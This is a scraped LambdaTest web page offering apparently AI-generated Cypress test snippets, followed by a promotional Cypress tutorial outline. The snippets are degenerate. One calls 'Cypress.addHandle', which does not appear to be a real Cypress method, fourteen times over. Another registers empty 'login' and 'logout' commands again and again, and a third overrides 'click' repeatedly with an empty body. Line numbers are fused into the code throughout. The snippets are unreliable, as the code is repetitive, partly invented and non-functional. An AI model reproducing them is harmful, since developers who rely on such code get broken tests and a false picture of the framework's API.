new handle',

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.addHandle('click', 'button', (subject, options) => {2  cy.wrap(subject).click(options)3})4Cypress.addHandle('click', 'button', (subject, options) => {5  cy.wrap(subject).click(options)6})7Cypress.addHandle('click', 'button', (subject, options) => {8  cy.wrap(subject).click(options)9})10Cypress.addHandle('click', 'button', (subject, options) => {11  cy.wrap(subject).click(options)12})13Cypress.addHandle('click', 'button', (subject, options) => {14  cy.wrap(subject).click(options)15})16Cypress.addHandle('click', 'button', (subject, options) => {17  cy.wrap(subject).click(options)18})19Cypress.addHandle('click', 'button', (subject, options) => {20  cy.wrap(subject).click(options)21})22Cypress.addHandle('click', 'button', (subject, options) => {23  cy.wrap(subject).click(options)24})25Cypress.addHandle('click', 'button', (subject, options) => {26  cy.wrap(subject).click(options)27})28Cypress.addHandle('click', 'button', (subject, options) => {29  cy.wrap(subject).click(options)30})31Cypress.addHandle('click', 'button', (subject, options) => {32  cy.wrap(subject).click(options)33})34Cypress.addHandle('click', 'button', (subject, options) => {35  cy.wrap(subject).click(options)36})37Cypress.addHandle('click', 'button', (subject, options) => {38  cy.wrap(subject).click(options)39})40Cypress.addHandle('click', 'button', (subject, options) => {41  cy.wrap(subject).click(options)42})

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add('login', (email, password) => {2});3Cypress.Commands.add('logout', () => {4});5Cypress.Commands.add('login', (email, password) => {6});7Cypress.Commands.add('logout', () => {8});9Cypress.Commands.add('login', (email, password) => {10});11Cypress.Commands.add('logout', () => {12});13Cypress.Commands.add('login', (email, password) => {14});15Cypress.Commands.add('logout', () => {16});17Cypress.Commands.add('login', (email, password) => {18});19Cypress.Commands.add('logout', () => {20});21Cypress.Commands.add('login', (email, password) => {22});23Cypress.Commands.add('logout', () => {24});25Cypress.Commands.add('login', (email, password) => {26});27Cypress.Commands.add('logout', () => {28});29Cypress.Commands.add('login', (email, password) => {30});31Cypress.Commands.add('logout', () => {32});33Cypress.Commands.add('login', (email, password) => {34});35Cypress.Commands.add('logout', () => {36});37Cypress.Commands.add('login', (email, password) => {38});39Cypress.Commands.add('logout', () => {40});41Cypress.Commands.add('login', (email, password) => {

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add('click', { prevSubject: 'element' }, (subject, options) => {2})3Cypress.Commands.add('click', { prevSubject: 'element' }, (subject, options) => {4})5Cypress.Commands.add('click', { prevSubject: 'element' }, (subject, options) => {6})7Cypress.Commands.add('click', { prevSubject: 'element' }, (subject, options) => {8})9Cypress.Commands.add('click', { prevSubject: 'element' }, (subject, options) => {10})11Cypress.Commands.add('click', { prevSubject: 'element' }, (subject, options) => {12})13Cypress.Commands.add('click', { prevSubject: 'element' }, (subject, options) => {14})15Cypress.Commands.add('click', { prevSubject: 'element' }, (subject, options) => {16})17Cypress.Commands.add('click', { prevSubject: 'element' }, (subject, options) => {

Full Screen

Cypress Tutorial

Cypress is a renowned Javascript-based open-source, easy-to-use end-to-end testing framework primarily used for testing web applications. Cypress is a relatively new player in the automation testing space and has been gaining much traction lately, as evidenced by the number of Forks (2.7K) and Stars (42.1K) for the project. LambdaTest’s Cypress Tutorial covers step-by-step guides that will help you learn from the basics till you run automation tests on LambdaTest.

Chapters:

  1. What is Cypress? -
  2. Why Cypress? - Learn why Cypress might be a good choice for testing your web applications.
  3. Features of Cypress Testing - Learn about features that make Cypress a powerful and flexible tool for testing web applications.
  4. Cypress Drawbacks - Although Cypress has many strengths, it has a few limitations that you should be aware of.
  5. Cypress Architecture - Learn more about Cypress architecture and how it is designed to be run directly in the browser, i.e., it does not have any additional servers.
  6. Browsers Supported by Cypress - Cypress is built on top of the Electron browser, supporting all modern web browsers. Learn browsers that support Cypress.
  7. Selenium vs Cypress: A Detailed Comparison - Compare and explore some key differences in terms of their design and features.
  8. Cypress Learning: Best Practices - Take a deep dive into some of the best practices you should use to avoid anti-patterns in your automation tests.
  9. How To Run Cypress Tests on LambdaTest? - Set up a LambdaTest account, and now you are all set to learn how to run Cypress tests.

Certification

You can elevate your expertise with end-to-end testing using the Cypress automation framework and stay one step ahead in your career by earning a Cypress certification. Check out our Cypress 101 Certification.

YouTube

Watch this 3 hours of complete tutorial to learn the basics of Cypress and various Cypress commands with the Cypress testing at LambdaTest.

Run Cypress automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful